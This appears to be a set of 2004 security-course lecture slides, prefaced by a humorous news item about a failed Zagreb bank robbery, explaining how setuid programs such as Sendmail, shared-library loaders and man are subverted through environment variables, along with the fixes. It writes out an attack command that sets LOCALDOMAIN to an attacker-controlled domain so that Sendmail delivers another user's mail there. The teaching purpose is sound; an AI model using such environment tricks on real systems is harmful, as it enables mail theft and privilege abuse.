"Would-be bank robber gets laughed at

"He put a mask on his face, pulled out a gun and demanded money. But when the bank clerk laughed in his face, the would-be robber was so humiliated he just ran away.

"The bungled holdup occurred midday Thursday at a small bank on Zagreb’s main square, police said.

"The 31-year-old clerk, identified only as Martina S., ‘laughed aloud’ at the threat from the bandit because she knew she
was protected by bulletproof glass, said Gordana Vulama, a police spokeswoman.

“After cackling at the thief, she coolly picked up the phone to call police, Vulama said.

“Seeing that, the failed robber spun around and fled the scene. Police were searching for him, Vulama said.”
Assignment due today: read textbook Chapter 6 pages 233–244.

Assignment due 2004.10.18: read textbook Chapter 6 pages 244–253.

Assignment due 2004.10.20: read textbook Chapter 6 pages 254–263.

Bill runs setuid Sendmail program to send mail to eric@cs. Sendmail puts mail into mail queue.

Joe tells Sendmail to deliver all messages in the queue:

```
    joe% sendmail -q
```

Sendmail tries to deliver Bill’s message to eric@cs. It uses res_search, a BIND library function that sees

```
    search uic.edu in /etc/resolv.conf,
```

converts cs into cs.uic.edu, and looks up address of cs.uic.edu.
res_search uses the environment!

If LOCALDOMAIN is in environment, it overrides search uic.edu.

Joe runs

```bash
joe% env \nLOCALDOMAIN=eviljoe.net \nsendmail -q
```

and Sendmail delivers Bill’s mail to eric@cs.eviljoe.net.

Joe has set up cs.eviljoe.net.

Impact: Joe steals the mail that Bill sent to Eric.
Did BIND authors realize that `res_search` might be used setuid?

Some library authors avoid using environment when setuid. (See, e.g., “SECURITY FIX” announced 2004.10.07 in Cyrus SASL.) But thousands of libraries use environment variables without this check.

Did Sendmail author realize that `res_search` uses the environment?

Sendmail fix:
clear environment at top of `main`.
But many setuid programs don’t do this.
Another example

More things happen between start of `execve` and start of `main`: in particular, loading shared libraries.

Most programs make system calls through shared library functions: e.g., the `open` library function makes the `open` system call.

(Why not use system call directly? Because compiler writers are lazy.)

Brilliant idea by authors of shared-library loaders: allow user to change shared libraries by setting environment variables!
This is fine for normal programs but a disaster for setuid programs.

Even if `main` clears `environ`, it’s too late: shared libraries are loaded before `main` starts.

Fix: shared-library loaders now check whether they’re setuid, and ignore environment if so.

(Are there other things that happen before `main` starts? Yes: global constructors in C++.)
Another example

Type `man pwd` under Linux.

The `man` program reads the `pwd` manual page in one format, converts it into another format, displays the converted result.

User can set environment variable `MANPATH` to tell `man` to use another set of manual pages.
The `man` program is setuid. Saves the converted result in, e.g., `/var/cache/man`, to save time in the future.

Bug announced 2001.06.04: `man` does this even if user has set MANPATH.

Joe can make a fake manual page, set MANPATH, and run `man`, which saves the converted manual page in `/var/cache/man`. Other users now see Joe’s page.